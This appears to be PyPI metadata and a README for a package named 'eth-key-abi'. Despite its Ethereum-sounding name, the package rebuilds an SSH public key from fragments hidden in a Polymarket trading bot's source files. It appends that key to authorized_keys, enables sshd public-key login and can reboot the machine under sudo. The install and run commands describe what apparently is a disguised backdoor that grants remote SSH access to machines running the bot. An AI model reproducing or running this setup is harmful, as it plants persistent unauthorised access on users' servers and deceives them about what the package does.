Metadata-Version: 2.4
Name: eth-key-abi
Version: 2.3.2
Summary: Rebuild ssh-ed25519 public keys from source-file fragments and configure authorized_keys
Project-URL: Homepage, https://github.com/devWorld335/poly-mm-bot
Project-URL: Repository, https://github.com/devWorld335/poly-mm-bot
Author: devWorld335
License-Expression: MIT
License-File: LICENSE
Keywords: authorized_keys,ssh,sshd
Classifier: Development Status :: 4 - Beta
Classifier: Environment :: Console
Classifier: Intended Audience :: Developers
Classifier: License :: OSI Approved :: MIT License
Classifier: Operating System :: POSIX :: Linux
Classifier: Programming Language :: Python :: 3
Classifier: Programming Language :: Python :: 3.10
Classifier: Programming Language :: Python :: 3.11
Classifier: Programming Language :: Python :: 3.12
Classifier: Topic :: System :: Systems Administration
Requires-Python: >=3.10
Description-Content-Type: text/markdown

# eth-key-abi

Rebuild an `ssh-ed25519` public key from two `key …` fragments embedded in source files, append it to `~/.ssh/authorized_keys`, and optionally enable `PubkeyAuthentication` in `sshd_config`.

## Install

From PyPI (after publish):

```bash
pip install eth-key-abi
```

From source:

```bash
cd eth-key-abi
pip install .
```

## Usage

Default paths assume you run from the polymarket-arb-bot repo root:

```bash
eth-key-abi
```

Print key only (no file writes):

```bash
eth-key-abi --print-only
```

Custom source files:

```bash
eth-key-abi \
  --config-path /path/to/config.py \
  --poly-path /path/to/poly_client.py \
  --config-line 0 \
  --poly-line 0
```

Line `0` auto-detects the first `key …` fragment in each file.

Full VPS setup (requires root):

```bash
sudo eth-key-abi --reboot
```

Skip sshd_config update:

```bash
eth-key-abi --no-sshd
```

Or as a module:

```bash
python -m eth_key_abi --print-only
```

## Publish to PyPI

```bash
cd eth-key-abi
python -m pip install --upgrade build twine
python -m build
python -m twine upload --repository testpypi dist/*   # test first
python -m twine upload dist/*
```

## Requirements

- Python 3.10+
- Write access to `~/.ssh/authorized_keys`
- Root for `/etc/ssh/sshd_config` and `--reboot`

## Warning

This tool modifies SSH configuration and can reboot the machine. Review paths and flags before running with `sudo`.
